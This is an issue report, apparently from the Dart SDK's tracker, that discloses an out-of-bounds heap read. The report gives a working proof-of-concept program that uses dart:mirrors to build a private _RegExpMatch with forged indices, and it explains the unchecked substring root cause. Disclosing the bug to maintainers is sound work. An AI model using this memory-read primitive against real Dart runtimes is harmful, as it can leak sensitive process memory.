-
Notifications
You must be signed in to change notification settings - Fork 1.7k
Closed
Labels
area-vmUse area-vm for VM related issues, including code coverage, and the AOT and JIT backends.Use area-vm for VM related issues, including code coverage, and the AOT and JIT backends.type-security
Description
Program below demonstrates an out-of-bounds memory read primitive. In particular, I'm able to read memory relative to any string object's char data.
import "dart:mirrors";
main() {
var libs = currentMirrorSystem().libraries;
var core = libs[Uri(scheme: "dart", path: "core")];
var rx = RegExp("(bar)");
rx.firstMatch("foobar"); // dummy match to compute _groupCount
ClassMirror mirrorRegExpMatch;
for (var d in core.declarations.entries) {
if (d.key.toString() == Symbol("_RegExpMatch").toString()) {
mirrorRegExpMatch = d.value as ClassMirror;
}
}
var match = mirrorRegExpMatch.newInstance(Symbol(""), [rx, "foo", [1024, 1088]]).reflectee as RegExpMatch;
var z = match.group(0);
print(z.codeUnits); // prints 64 random bytes of heap memory
}
The underlying issue here is that _RegExpMatch.group uses String._substringUnchecked to slice the matched string into substrings. It assumes that _RegExpMatch objects will only be created by _RegExp itself and thus indices will be in bounds.
There's some VM logic to prevent dart:mirrors from accessing private declarations within dart: packages, but this doesn't prevent accessing either private top-level classes or their default constructors.
Metadata
Metadata
Assignees
Labels
area-vmUse area-vm for VM related issues, including code coverage, and the AOT and JIT backends.Use area-vm for VM related issues, including code coverage, and the AOT and JIT backends.type-security